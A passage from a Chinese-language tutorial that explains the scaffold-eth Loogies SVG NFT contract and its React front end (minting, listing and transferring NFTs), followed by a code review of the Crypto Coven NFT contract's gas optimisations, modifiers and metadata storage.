    • 通过前一个区块的哈希( blockhash(block.number-1) ),当前铸造账户( msg.sender),合约地址( address(this) )和 tokenId 生成哈希 predictableRandom
    • 计算 NFT 颜色:按位或 predictableRandom 前三位得到颜色,颜色表示用 bytes3 表示,其中 bytes2(predictableRandom[0]) 对应最低位蓝色数值, ( bytes2(predictableRandom[1]) >> 8 )对应中间位绿色数值, ( bytes3(predictableRandom[2]) >> 16 ) 对应最高位红色数值;
    • 计算 NFT 胖瘦: 35+((55*uint256(uint8(predictableRandom[3])))/255);uint8(predictableRandom[3])介于0~255,故最小值为35,最大值为 35+55 = 90;

例如: color0x4cc4c1chubbiness 为 88 时对应的 NFT 图片为:

loogies-1

tokenURI 函数

函数 tokenURI 接受 tokenId 参数,返回编码之后的元数据字符串:

function tokenURI(uint256 id) public view override returns (string memory) {
			// 检查 id 是否存在
      require(_exists(id), "not exist");
      string memory name = string(abi.encodePacked('Loogie #',id.toString()));
      string memory description = string(abi.encodePacked('This Loogie is the color #',color[id].toColor(),' with a chubbiness of ',uint2str(chubbiness[id]),'!!!'));
      // 生成图片的svg base64 编码
			string memory image = Base64.encode(bytes(generateSVGofTokenById(id)));

      return
          string(
              abi.encodePacked(
                'data:application/json;base64,',
								// 通过 base64 编码元数据
                Base64.encode(
                    bytes(
                          abi.encodePacked(
                              '{"name":"',
                              name,
                              '", "description":"',
                              description,
                              '", "external_url":"https://burnyboys.com/token/',
                              id.toString(),
                              '", "attributes": [{"trait_type": "color", "value": "#',
                              color[id].toColor(),
                              '"},{"trait_type": "chubbiness", "value": ',
                              uint2str(chubbiness[id]),
                              '}], "owner":"',
                              (uint160(ownerOf(id))).toHexString(20),
                              '", "image": "',
                              'data:image/svg+xml;base64,',
                              image,
                              '"}'
                          )
                        )
                    )
              )
          );
  }
// 生成的 SVG 字符串
function generateSVGofTokenById(uint256 id) internal view returns (string memory) {
...
}

// 绘制图像
// Visibility is `public` to enable it being called by other contracts for composition.
function renderTokenById(uint256 id) public view returns (string memory) {
...
}

其中, generateSVGofTokenById 函数返回 tokenId 对应的颜色和胖瘦属性生成的 SVG 字符串, renderTokenById 用户绘制图像。

我们可以看到,NFT 元数据中包含的属性有:

  • name:名称
  • description: 描述
  • external_url:外部链接
  • attributes:属性
    • color 颜色
    • chubbiness:胖瘦
    • owner:所有者,以太坊地址16进制形式
    • image:图片对应 SVG 的 base64 编码

这里,我们通过实际数据了解一下什么是 SVG。tokenId 为 1 时对应的 tokenURI 结果为:

data:application/json;base64,eyJuYW1lIjoiTG9vZ2llICMxIiwiZGVzY3JpcHRpb24iOiJUaGlzIExvb2dpZSBpcyB0aGUgY29sb3IgIzRjYzRjMSB3aXRoIGEgY2h1YmJpbmVzcyBvZiA4OCEhISIsImV4dGVybmFsX3VybCI6Imh0dHBzOi8vYnVybnlib3lzLmNvbS90b2tlbi8xIiwiYXR0cmlidXRlcyI6W3sidHJhaXRfdHlwZSI6ImNvbG9yIiwidmFsdWUiOiIjNGNjNGMxIn0seyJ0cmFpdF90eXBlIjoiY2h1YmJpbmVzcyIsInZhbHVlIjo4OH1dLCJvd25lciI6IjB4MTY5ODQxYWEzMDI0Y2ZhNTcwMDI0ZWI3ZGQ2YmY1Zjc3NDA5MjA4OCIsImltYWdlIjoiZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCM2FXUjBhRDBpTkRBd0lpQm9aV2xuYUhROUlqUXdNQ0lnZUcxc2JuTTlJbWgwZEhBNkx5OTNkM2N1ZHpNdWIzSm5Mekl3TURBdmMzWm5JajQ4WnlCcFpEMGlaWGxsTVNJK1BHVnNiR2x3YzJVZ2MzUnliMnRsTFhkcFpIUm9QU0l6SWlCeWVUMGlNamt1TlNJZ2NuZzlJakk1TGpVaUlHbGtQU0p6ZG1kZk1TSWdZM2s5SWpFMU5DNDFJaUJqZUQwaU1UZ3hMalVpSUhOMGNtOXJaVDBpSXpBd01DSWdabWxzYkQwaUkyWm1aaUl2UGp4bGJHeHBjSE5sSUhKNVBTSXpMalVpSUhKNFBTSXlMalVpSUdsa1BTSnpkbWRmTXlJZ1kzazlJakUxTkM0MUlpQmplRDBpTVRjekxqVWlJSE4wY205clpTMTNhV1IwYUQwaU15SWdjM1J5YjJ0bFBTSWpNREF3SWlCbWFXeHNQU0lqTURBd01EQXdJaTgrUEM5blBqeG5JR2xrUFNKb1pXRmtJajQ4Wld4c2FYQnpaU0JtYVd4c1BTSWpOR05qTkdNeElpQnpkSEp2YTJVdGQybGtkR2c5SWpNaUlHTjRQU0l5TURRdU5TSWdZM2s5SWpJeE1TNDRNREEyTlNJZ2FXUTlJbk4yWjE4MUlpQnllRDBpT0RnaUlISjVQU0kxTVM0NE1EQTJOU0lnYzNSeWIydGxQU0lqTURBd0lpOCtQQzluUGp4bklHbGtQU0psZVdVeUlqNDhaV3hzYVhCelpTQnpkSEp2YTJVdGQybGtkR2c5SWpNaUlISjVQU0l5T1M0MUlpQnllRDBpTWprdU5TSWdhV1E5SW5OMloxOHlJaUJqZVQwaU1UWTRMalVpSUdONFBTSXlNRGt1TlNJZ2MzUnliMnRsUFNJak1EQXdJaUJtYVd4c1BTSWpabVptSWk4K1BHVnNiR2x3YzJVZ2NuazlJak11TlNJZ2NuZzlJak1pSUdsa1BTSnpkbWRmTkNJZ1kzazlJakUyT1M0MUlpQmplRDBpTWpBNElpQnpkSEp2YTJVdGQybGtkR2c5SWpNaUlHWnBiR3c5SWlNd01EQXdNREFpSUhOMGNtOXJaVDBpSXpBd01DSXZQand2Wno0OEwzTjJaejQ9In0=

通过 base64 解码 data:application/json;base64, 之后的字符串可以得到如下 json(以下 json 经过了格式化,方便阅读):

{
  "name": "Loogie #1",
  "description": "This Loogie is the color #4cc4c1 with a chubbiness of 88!!!",
  "external_url": "https://burnyboys.com/token/1",
  "attributes": [
    {
      "trait_type": "color",
      "value": "#4cc4c1"
    },
    {
      "trait_type": "chubbiness",
      "value": 88
    }
  ],
  "owner": "0x169841aa3024cfa570024eb7dd6bf5f774092088",
  "image": "data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDAwIiBoZWlnaHQ9IjQwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBpZD0iZXllMSI+PGVsbGlwc2Ugc3Ryb2tlLXdpZHRoPSIzIiByeT0iMjkuNSIgcng9IjI5LjUiIGlkPSJzdmdfMSIgY3k9IjE1NC41IiBjeD0iMTgxLjUiIHN0cm9rZT0iIzAwMCIgZmlsbD0iI2ZmZiIvPjxlbGxpcHNlIHJ5PSIzLjUiIHJ4PSIyLjUiIGlkPSJzdmdfMyIgY3k9IjE1NC41IiBjeD0iMTczLjUiIHN0cm9rZS13aWR0aD0iMyIgc3Ryb2tlPSIjMDAwIiBmaWxsPSIjMDAwMDAwIi8+PC9nPjxnIGlkPSJoZWFkIj48ZWxsaXBzZSBmaWxsPSIjNGNjNGMxIiBzdHJva2Utd2lkdGg9IjMiIGN4PSIyMDQuNSIgY3k9IjIxMS44MDA2NSIgaWQ9InN2Z181IiByeD0iODgiIHJ5PSI1MS44MDA2NSIgc3Ryb2tlPSIjMDAwIi8+PC9nPjxnIGlkPSJleWUyIj48ZWxsaXBzZSBzdHJva2Utd2lkdGg9IjMiIHJ5PSIyOS41IiByeD0iMjkuNSIgaWQ9InN2Z18yIiBjeT0iMTY4LjUiIGN4PSIyMDkuNSIgc3Ryb2tlPSIjMDAwIiBmaWxsPSIjZmZmIi8+PGVsbGlwc2Ugcnk9IjMuNSIgcng9IjMiIGlkPSJzdmdfNCIgY3k9IjE2OS41IiBjeD0iMjA4IiBzdHJva2Utd2lkdGg9IjMiIGZpbGw9IiMwMDAwMDAiIHN0cm9rZT0iIzAwMCIvPjwvZz48L3N2Zz4="
}

我们对 image 字段进行解码并格式化就得到图片的 SVG:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
   <g id="eye1">
      <ellipse stroke-width="3" ry="29.5" rx="29.5" id="svg_1" cy="154.5" cx="181.5" stroke="#000" fill="#fff" />
      <ellipse ry="3.5" rx="2.5" id="svg_3" cy="154.5" cx="173.5" stroke-width="3" stroke="#000" fill="#000000" />
   </g>
   <g id="head">
      <ellipse fill="#4cc4c1" stroke-width="3" cx="204.5" cy="211.80065" id="svg_5" rx="88" ry="51.80065" stroke="#000" />
   </g>
   <g id="eye2">
      <ellipse stroke-width="3" ry="29.5" rx="29.5" id="svg_2" cy="168.5" cx="209.5" stroke="#000" fill="#fff" />
      <ellipse ry="3.5" rx="3" id="svg_4" cy="169.5" cx="208" stroke-width="3" fill="#000000" stroke="#000" />
   </g>
</svg>

SVG是一种用 XML 定义的语言,用来描述二维矢量及矢量/栅格图形。它可以任意放大图形显示,也不会牺牲图像质量,它可以使用代码进行描述,方便编辑,因此被广泛使用。

从上面的代码结合以下的图像可以看出,这个 SVG 包含如下内容:

  • 第一行为 XML 声明,标明版本和编码类型,之后是SVG 的宽度和高度;
  • eye1:由两个椭圆(ellipse)绘制的眼圈和黑色眼珠;
  • head:填充 #4cc4c1 颜色的椭圆作为身体;
  • eye2:与 eye1 一致,位置不同;

eye1headeye2依次叠加得到最终的图形:

loogies-1

辅助函数解析

  1. uint2struint 转变为字符串,例如 123 变为 '123'
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
      if (_i == 0) {
          return "0";
      }
      uint j = _i;
			// uint 位数
      uint len;
      while (j != 0) {
          len++;
          j /= 10;
      }
      bytes memory bstr = new bytes(len);
      uint k = len;
      while (_i != 0) {
          k = k-1;
			    // _i 个位数字
          uint8 temp = (48 + uint8(_i - _i / 10 * 10));
          bytes1 b1 = bytes1(temp);
          bstr[k] = b1;
          _i /= 10;
      }
      return string(bstr);
  }
  1. ToColor.sol 库:将 byte3 类型转换为前端颜色字符串,例如:输入 0x4cc4c1 输出 '4cc4c1'
library ToColor {
    bytes16 internal constant ALPHABET = '0123456789abcdef';

    function toColor(bytes3 value) internal pure returns (string memory) {
      bytes memory buffer = new bytes(6);
      for (uint256 i = 0; i < 3; i++) {
          buffer[i*2+1] = ALPHABET[uint8(value[i]) & 0xf];
          buffer[i*2] = ALPHABET[uint8(value[i]>>4) & 0xf];
      }
      return string(buffer);
    }
}
  1. HexStrings.sol 库:主要作用是将 uintlength 位提取,对应于生成公钥时截取前20位的功能: (*uint160*(ownerOf(id))).toHexString(20),此表达式生成对应 tokenId 所有者的地址。
library HexStrings {
    bytes16 internal constant ALPHABET = '0123456789abcdef';

    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = '0';
        buffer[1] = 'x';
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = ALPHABET[value & 0xf];
            value >>= 4;
        }
        return string(buffer);
    }
}

至此,合约源码分析完成。

下面我们将对前端的逻辑进行简要分析,然后我们将一步步实现 NFT 铸造和展示的功能。将代码切换到前端代码提交之前,按照以下的步骤一步步添加功能。

git checkout a98156f6a03a0bc8fc98c8c77cef6fbf59f03b31

前端逻辑分析

项目前端文件在 packages/react-app 内,以下文章中涉及文件的位置都将在这个文件中寻找。

我们首先来看一下 src/App.jsx ,这是项目的主要页面,我们可以利用代码编辑器查看这个文件的主要部分:

Appjsx

其中包含的功能和组件包括:

  • Header:标题栏,显示标题
  • NetworkDisplay:所处网络状态
  • MenuSwitch:菜单切换
  • ThemeSwitch:右下角明暗主题切换
  • Account:右上角账户信息组件
  • 接下来的两个 Row 对应左下角的 Gas 显示、支持和本地的水龙头

下面我们主要看一下 NetworkDisplayAccount 的逻辑实现,以及 MenuSwitch 中的功能。

NetworkDisplay

组件位置: src/components/NetworkDisplay.jsx

主要包含两个功能:

  1. 显示当前所选择的网络名称;
  2. 如果当前钱包所在网络与项目中网络设置不一致,则提示警告,其中,当选择本地网络是,网络 ID 需要设置为 31337
function NetworkDisplay({
  NETWORKCHECK,
  localChainId,
  selectedChainId,
  targetNetwork,
  USE_NETWORK_SELECTOR,
  logoutOfWeb3Modal,
}) {
  let networkDisplay = "";
  if (NETWORKCHECK && localChainId && selectedChainId && localChainId !== selectedChainId) {
    const networkSelected = NETWORK(selectedChainId);
    const networkLocal = NETWORK(localChainId);
    if (selectedChainId === 1337 && localChainId === 31337) {
			// 提示错误的网络ID
			...
    } else {
			// 提示网络错误
			...
    }
  } else {
    networkDisplay = USE_NETWORK_SELECTOR ? null : (
      // 显示网络名称
      <div style={{ zIndex: -1, position: "absolute", right: 154, top: 28, padding: 16, color: targetNetwork.color }}>
        {targetNetwork.name}
      </div>
    );
  }

  console.log({ networkDisplay });

  return networkDisplay;
}

Account

组件位置: src/components/Account.jsx

主要包含两个功能:

  1. 显示当前钱包
  2. 显示钱包余额
  3. 显示 Connect 或者 Logout

其中,当用户点击 Connect 时,前端调用 loadWeb3Modal,代码如下,这个函数的需要功能是与MetaMask等钱包进行连接,并监听钱包的 chainChangedaccountsChangeddisconnect 事件,即当我们在钱包中切换网络,选择连接账户以及取消连接时对应修改显示状态。

  const loadWeb3Modal = useCallback(async () => {
		// 连接钱包
    const provider = await web3Modal.connect();
    setInjectedProvider(new ethers.providers.Web3Provider(provider));
		// 监听切换网络
    provider.on("chainChanged", chainId => {
      console.log(`chain changed to ${chainId}! updating providers`);
      setInjectedProvider(new ethers.providers.Web3Provider(provider));
    });
    // 监听切换账户
    provider.on("accountsChanged", () => {
      console.log(`account changed!`);
      setInjectedProvider(new ethers.providers.Web3Provider(provider));
    });
		// 监听断开连接
    // Subscribe to session disconnection
    provider.on("disconnect", (code, reason) => {
      console.log(code, reason);
      logoutOfWeb3Modal();
    });
    // eslint-disable-next-line
  }, [setInjectedProvider]);

同理,在连接钱包情况下,用户点击 Logout 会调用 logoutOfWeb3Modal 功能,

const logoutOfWeb3Modal = async () => {
		// 清楚缓存的网络提供商,并断开连接
    await web3Modal.clearCachedProvider();
    if (injectedProvider && injectedProvider.provider && typeof injectedProvider.provider.disconnect == "function") {
      await injectedProvider.provider.disconnect();
    }
    setTimeout(() => {
      window.location.reload();
    }, 1);
  };

这两个分别对应显示菜单和对应切换菜单功能,这些菜单包括:

  • App Home :项目希望我们将需要实现的功能放在这个菜单中,比如我们将要实现的 NFT 的铸造和展示功能;
  • Debug Contracts:调试自己编写的合约功能,将会根据合约的 ABI 文件 展示可以合约的状态变量和可以调用的函数;
  • Hints:编程提示
  • ExampleUI:示例UI,可以做为编程使用
  • Mainnet DAI:以太坊主网 DAI 的合约状态和可用函数,与 Debug Contracts 功能一直
  • Subgraph:使用 The Graph 协议对合约中的事件进行监听和查询。

调试信息

App.jsx 中还包含了打印当前页面状态的调试信息,可以在开发的过程中实时查看当前状态变量。

  //
  // 🧫 DEBUG 👨🏻‍🔬
  //
  useEffect(() => {
    if (
      DEBUG &&
      mainnetProvider &&
      address &&
      selectedChainId &&
      yourLocalBalance &&
      yourMainnetBalance &&
      readContracts &&
      writeContracts &&
      mainnetContracts
    ) {
      console.log("_____________________________________ 🏗 scaffold-eth _____________________________________");
      console.log("🌎 mainnetProvider", mainnetProvider);
      console.log("🏠 localChainId", localChainId);
      console.log("👩‍💼 selected address:", address);
      console.log("🕵🏻‍♂️ selectedChainId:", selectedChainId);
      console.log("💵 yourLocalBalance", yourLocalBalance ? ethers.utils.formatEther(yourLocalBalance) : "...");
      console.log("💵 yourMainnetBalance", yourMainnetBalance ? ethers.utils.formatEther(yourMainnetBalance) : "...");
      console.log("📝 readContracts", readContracts);
      console.log("🌍 DAI contract on mainnet:", mainnetContracts);
      console.log("💵 yourMainnetDAIBalance", myMainnetDAIBalance);
      console.log("🔐 writeContracts", writeContracts);
    }
  }, [
    mainnetProvider,
    address,
    selectedChainId,
    yourLocalBalance,
    yourMainnetBalance,
    readContracts,
    writeContracts,
    mainnetContracts,
    localChainId,
    myMainnetDAIBalance,
  ]);

查看完主页的基本功能,下面我们开始实现 NFT 铸造和展示 NFT 列表这两个功能。

NFT 功能实现

我们将主要实现以下三个部分功能:

  • 铸造 NFT;
  • 展示 NFT 列表;
  • 展示 NFT 合约接口列表。

铸造 NFT

首先我们找到 App Home 对应使用的组件,从下面的代码中可以看到,对应使用 Home 组件,所在位置为 src/views/Home.jsx

    ...
    <Switch>
        <Route exact path="/">
          {/* pass in any web3 props to this Home component. For example, yourLocalBalance */}
          <Home yourLocalBalance={yourLocalBalance} readContracts={readContracts} />
        </Route>
    ....

删除 Home.jsx 中内容,添加以下 Mint 按钮:

import React, { useState } from "react";
import { Button, Card, List } from "antd";

function Home({ 
  isSigner,
  loadWeb3Modal,
  tx,
  writeContracts,
}) {

  return (
    <div>
      {/* Mint button */}
      <div style={{ maxWidth: 820, margin: "auto", marginTop: 32, paddingBottom: 32 }}>
        {isSigner?(
          <Button type={"primary"} onClick={()=>{
            tx( writeContracts.YourCollectible.mintItem() )
          }}>MINT</Button>
        ):(
          <Button type={"primary"} onClick={loadWeb3Modal}>CONNECT WALLET</Button>
        )}
      </div>
    </div>
  );
}

export default Home;

同时将 Switch 中对应组件使用修改为:

      ...
      <Switch>
        <Route exact path="/">
          {/* pass in any web3 props to this Home component. For example, yourLocalBalance */}
          <Home
            isSigner={userSigner}
            loadWeb3Modal={loadWeb3Modal}
            tx={tx}
            writeContracts={writeContracts}
          />
       ...

效果图为:

mint-button

点击 Mint 之后,我们可以看到交易成功发出,这时,虽然我们成功 mint 了 NFT,但是我们还需要添加列表来展示我们的 NFT。

展示 NFT 列表

添加列表展示,其中包含 NFT 的转移功能可以将对应的 NFT 发送给其他地址。

import React, { useState } from "react";
import { Button, Card, List } from "antd";
import { useContractReader } from "eth-hooks";
import { Address, AddressInput} from "../components";

function Home({ 
  isSigner,
  loadWeb3Modal,
  yourCollectibles,
  address,
  blockExplorer,
  mainnetProvider,
  tx,
  readContracts,
  writeContracts,
}) {
  const [transferToAddresses, setTransferToAddresses] = useState({});

  return (
    <div>
      {/* Mint 按钮 */}
			...
			{/* 列表 */}
      <div style={{ width: 820, margin: "auto", paddingBottom: 256 }}>
        <List
          bordered
          dataSource={yourCollectibles}
          renderItem={item => {
            const id = item.id.toNumber();
            console.log("IMAGE",item.image)
            return (
              <List.Item key={id + "_" + item.uri + "_" + item.owner}>
                <Card
                  title={
                    <div>
                      <span style={{ fontSize: 18, marginRight: 8 }}>{item.name}</span>
                    </div>
                  }
                >
                  <a href={"https://opensea.io/assets/"+(readContracts && readContracts.YourCollectible && readContracts.YourCollectible.address)+"/"+item.id} target="_blank">
                  <img src={item.image} />
                  </a>
                  <div>{item.description}</div>
                </Card>
								{/* NFT 转移 */}
                <div>
                  owner:{" "}
                  <Address
                    address={item.owner}
                    ensProvider={mainnetProvider}
                    blockExplorer={blockExplorer}
                    fontSize={16}
                  />
                  <AddressInput
                    ensProvider={mainnetProvider}
                    placeholder="transfer to address"
                    value={transferToAddresses[id]}
                    onChange={newValue => {
                      const update = {};
                      update[id] = newValue;
                      setTransferToAddresses({ ...transferToAddresses, ...update });
                    }}
                  />
                  <Button
                    onClick={() => {
                      console.log("writeContracts", writeContracts);
                      tx(writeContracts.YourCollectible.transferFrom(address, transferToAddresses[id], id));
                    }}
                  >
                    Transfer
                  </Button>
                </div>
              </List.Item>
            );
          }}
        />
      </div>
      {/* 信息提示 */}
      <div style={{ maxWidth: 820, margin: "auto", marginTop: 32, paddingBottom: 256 }}>
        🛠 built with <a href="https://github.com/austintgriffith/scaffold-eth" target="_blank">🏗 scaffold-eth</a>
        🍴 <a href="https://github.com/austintgriffith/scaffold-eth" target="_blank">Fork this repo</a> and build a cool SVG NFT!
      </div>
    </div>
  );
}

export default Home;

对应组件使用修改为:

      ...
      <Switch>
        <Route exact path="/">
          {/* pass in any web3 props to this Home component. For example, yourLocalBalance */}
          <Home
            isSigner={userSigner}
            loadWeb3Modal={loadWeb3Modal}
            yourCollectibles={yourCollectibles}
            address={address}
            blockExplorer={blockExplorer}
            mainnetProvider={mainnetProvider}
            tx={tx}
            writeContracts={writeContracts}
            readContracts={readContracts}
          />
       ...

效果图为:

nft-display-list

但是我们发现,当我们再次 mint 时,列表并不会更新,还是原来的样子,因此我们需要在 App.jsx 中添加事件监听,一旦我们铸造 NFT 之后,列表将刷新:

  // 跟踪当前 NFT 数量
  const balance = useContractReader(readContracts, "YourCollectible", "balanceOf", [address]);
  console.log("🤗 balance:", balance);

  const yourBalance = balance && balance.toNumber && balance.toNumber();
  const [yourCollectibles, setYourCollectibles] = useState();
  //
  // 🧠 这个 effect 会在 balance 变化时更新 yourCollectibles 
  //
  useEffect(() => {
    const updateYourCollectibles = async () => {
      const collectibleUpdate = [];
      for (let tokenIndex = 0; tokenIndex < balance; tokenIndex++) {
        try {
          console.log("GEtting token index", tokenIndex);
          const tokenId = await readContracts.YourCollectible.tokenOfOwnerByIndex(address, tokenIndex);
          console.log("tokenId", tokenId);
          const tokenURI = await readContracts.YourCollectible.tokenURI(tokenId);
          const jsonManifestString = atob(tokenURI.substring(29))
          console.log("jsonManifestString", jsonManifestString);

          try {
            const jsonManifest = JSON.parse(jsonManifestString);
            console.log("jsonManifest", jsonManifest);
            collectibleUpdate.push({ id: tokenId, uri: tokenURI, owner: address, ...jsonManifest });
          } catch (e) {
            console.log(e);
          }

        } catch (e) {
          console.log(e);
        }
      }
      setYourCollectibles(collectibleUpdate.reverse());
    };
    updateYourCollectibles();
  }, [address, yourBalance]);

此时,当我们再次 Mint 时,就是自动更新列表,显示最新铸造的 NFT 了。

展示 NFT 合约接口列表

这个功能比较简单,只需要修改对应 debug 部分即可:

      <Route exact path="/debug">
          {/*
                🎛 this scaffolding is full of commonly used components
                this <Contract/> component will automatically parse your ABI
                and give you a form to interact with it locally
            */}

          <Contract
            name="YourCollectible"
            price={price}
            signer={userSigner}
            provider={localProvider}
            address={address}
            blockExplorer={blockExplorer}
            contractConfig={contractConfig}
          />

更新之后,可以在 Debug Contracts 菜单下看到合约的可以调用的函数。

contract-funcs

至此,我们就完成了一个简单 NFT 铸造和展示的 DApp 了。

总结

通过这个项目,我们可以学习并了解以下知识:

  1. NFT 合约基本内容以及如何在 Opensea 等市场中展示 NFT;
  2. 前端如何连接诸如 MetaMask 等钱包;
  3. 前端如何调用合约函数。

Crypto Coven 加密女巫 NFT 合约解读

本文主要是对 @mannynotfound 的推文 https://twitter.com/mannynotfound/status/1470535464922845187 的整理和补充。

加密女巫的合约代码堪称艺术品。代码出自工程师 Matthew Di Ferrante(@matthewdif),涉及 gas 优化,修改器以及 Opensea 预授权等诸多优化措施,对于学习 NFT 合约是个很好的参考材料。

基本情况

名称;Crypto Coven

符号: WITCH

合约地址:0x5180db8f5c931aae63c74266b211f580155ecac8

合约代码地址:https://etherscan.io/address/0x5180db8f5c931aae63c74266b211f580155ecac8#code

Solidity版本: ^0.8.0

这个 banner 可以体会到项目方想要做的不是像 Crypto Punks 或者其他像素风格 NFT 一样的作品。

/*
.・。.・゜✭・.・✫・゜・。..・。.・゜✭・.・✫・゜・。.✭・.・✫・゜・。..・✫・゜・。.・。.・゜✭・.・✫・゜・。..・。.・゜✭・.・✫・゜・。.✭・.・✫・゜・。..・✫・゜・。

                                                       s                                            _                                 
                         ..                           :8                                           u                                  
             .u    .    @L           .d``            .88           u.                       u.    88Nu.   u.                u.    u.  
      .    .d88B :@8c  9888i   .dL   @8Ne.   .u     :888ooo  ...ue888b           .    ...ue888b  '88888.o888c      .u     x@88k u@88c.
 .udR88N  ="8888f8888r `Y888k:*888.  %8888:u@88N  -*8888888  888R Y888r     .udR88N   888R Y888r  ^8888  8888   ud8888.  ^"8888""8888"
<888'888k   4888>'88"    888E  888I   `888I  888.   8888     888R I888>    <888'888k  888R I888>   8888  8888 :888'8888.   8888  888R 
9888 'Y"    4888> '      888E  888I    888I  888I   8888     888R I888>    9888 'Y"   888R I888>   8888  8888 d888 '88%"   8888  888R 
9888        4888>        888E  888I    888I  888I   8888     888R I888>    9888       888R I888>   8888  8888 8888.+"      8888  888R 
9888       .d888L .+     888E  888I  uW888L  888'  .8888Lu= u8888cJ888     9888      u8888cJ888   .8888b.888P 8888L        8888  888R 
?8888u../  ^"8888*"     x888N><888' '*88888Nu88P   ^%888*    "*888*P"      ?8888u../  "*888*P"     ^Y8888*""  '8888c. .+  "*88*" 8888"
 "8888P'      "Y"        "88"  888  ~ '88888F`       'Y"       'Y"          "8888P'     'Y"          `Y"       "88888%      ""   'Y"  
   "P'                         88F     888 ^                                  "P'                                "YP'                 
                              98"      *8E                                                                                            
                            ./"        '8>                                                                                            
                           ~`           "                                                                                             

.・。.・゜✭・.・✫・゜・。..・。.・゜✭・.・✫・゜・。.✭・.・✫・゜・。..・✫・゜・。.・。.・゜✭・.・✫・゜・。..・。.・゜✭・.・✫・゜・。.✭・.・✫・゜・。..・✫・゜・。
*/

避免使用 ERC721Enumerable

使用 ERC721Enumerable 会带来大量 gas 消耗,合约中使用 ERC721 + Counters 的方式节省 Gas。主要原因是由于 totalSupply() 函数的使用。

详细可以阅读文章:Cut Minting Gas Costs By Up To 70% With One Smart Contract Tweak

contract CryptoCoven is ERC721, IERC2981, Ownable, ReentrancyGuard {
    using Counters for Counters.Counter;
    using Strings for uint256;

    Counters.Counter private tokenCounter;

修改器让代码更简洁和清晰

合约中使用修改器对权限进行控制,其中包括:

  • publicSaleActive 公开销售状态
  • communitySaleActive 社区销售状态
  • maxWitchesPerWallet 每个钱包最大 token 数量
  • canMintWitches 控制token总数量
  • canGiftWitches
  • isCorrectPayment 判断购买时价格是否正确
  • isValidMerkleProof 用于白名单机制中的 Merkle 验证

这些修改器可以使得权限控制更简便,代码的可读性也大大提升。

// ============ ACCESS CONTROL/SANITY MODIFIERS ============

    modifier publicSaleActive() {
        require(isPublicSaleActive, "Public sale is not open");
        _;
    }

    modifier communitySaleActive() {
        require(isCommunitySaleActive, "Community sale is not open");
        _;
    }

    modifier maxWitchesPerWallet(uint256 numberOfTokens) {
        require(
            balanceOf(msg.sender) + numberOfTokens <= MAX_WITCHES_PER_WALLET,
            "Max witches to mint is three"
        );
        _;
    }

    modifier canMintWitches(uint256 numberOfTokens) {
        require(
            tokenCounter.current() + numberOfTokens <=
                maxWitches - maxGiftedWitches,
            "Not enough witches remaining to mint"
        );
        _;
    }

    modifier canGiftWitches(uint256 num) {
        require(
            numGiftedWitches + num <= maxGiftedWitches,
            "Not enough witches remaining to gift"
        );
        require(
            tokenCounter.current() + num <= maxWitches,
            "Not enough witches remaining to mint"
        );
        _;
    }

    modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
        require(
            price * numberOfTokens == msg.value,
            "Incorrect ETH value sent"
        );
        _;
    }

    modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) {
        require(
            MerkleProof.verify(
                merkleProof,
                root,
                keccak256(abi.encodePacked(msg.sender))
            ),
            "Address does not exist in list"
        );
        _;
    }

NFT 素材的存储

NFT 项目都需要包含图片的存储,合约将 NFT 对应的元信息存储在 IPFS 中,并将对应的图片存储都在 Amazon S3 存储中。

    string private baseURI;    

    function setBaseURI(string memory _baseURI) external onlyOwner {
        baseURI = _baseURI;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId)
        public
        view
        virtual
        override
        returns (string memory)
    {
        require(_exists(tokenId), "Nonexistent token");

        return
            string(abi.encodePacked(baseURI, "/", tokenId.toString(), ".json"));
    }

比如 tokenId1 的 NFT,对应的 tokenURIipfs://QmZHKZDavkvNfA9gSAg7HALv8jF7BJaKjUc9U2LSuvUySB/1.json,在 IPFS 中可以看到这里面的内容为:

{
  "description": "You are a WITCH of the highest order. You are borne of chaos that gives the night shape. Your magic spawns from primordial darkness. You are called oracle by those wise enough to listen. ALL THEOLOGY STEMS FROM THE TERROR OF THE FIRMAMENT!",
  "external_url": "https://www.cryptocoven.xyz/witches/1",
  "image": "https://cryptocoven.s3.amazonaws.com/nyx.png",
  "name": "nyx",
  "background_color": "",
  "attributes": [
    {
      "trait_type": "Background",
      "value": "Sepia"
    },
    {
      "trait_type": "Skin Tone",
      "value": "Dawn"
    },
    {
      "trait_type": "Body Shape",
      "value": "Lithe"
    },
    {
      "trait_type": "Top",
      "value": "Sheer Top (Black)"
    },
    {
      "trait_type": "Eyebrows",
      "value": "Medium Flat (Black)"
    },
    {
      "trait_type": "Eye Style",
      "value": "Nyx"
    },
    {
      "trait_type": "Eye Color",
      "value": "Cloud"
    },
    {
      "trait_type": "Mouth",
      "value": "Nyx (Mocha)"
    },
    {
      "trait_type": "Hair (Front)",
      "value": "Nyx"
    },
    {
      "trait_type": "Hair (Back)",
      "value": "Nyx Long"
    },
    {
      "trait_type": "Hair Color",
      "value": "Steel"
    },
    {
      "trait_type": "Hat",
      "value": "Witch (Black)"
    },
    {
      "trait_type": "Necklace",
      "value": "Moon Necklace (Silver)"
    },
    {
      "trait_type": "Archetype of Power",
      "value": "Witch of Woe"
    },
    {
      "trait_type": "Sun Sign",
      "value": "Taurus"
    },
    {
      "trait_type": "Moon Sign",
      "value": "Aquarius"
    },
    {
      "trait_type": "Rising Sign",
      "value": "Capricorn"
    },
    {
      "display_type": "number",
      "trait_type": "Will",
      "value": 9
    },
    {
      "display_type": "number",
      "trait_type": "Wisdom",
      "value": 9
    },
    {
      "display_type": "number",
      "trait_type": "Wonder",
      "value": 9
    },
    {
      "display_type": "number",
      "trait_type": "Woe",
      "value": 10
    },
    {
      "display_type": "number",
      "trait_type": "Wit",
      "value": 9
    },
    {
      "display_type": "number",
      "trait_type": "Wiles",
      "value": 9
    }
  ],
  "coven": {
    "id": 1,
    "name": "nyx",
    "type": "Witch of Woe",
    "description": {
      "intro": "You are a WITCH of the highest order.",
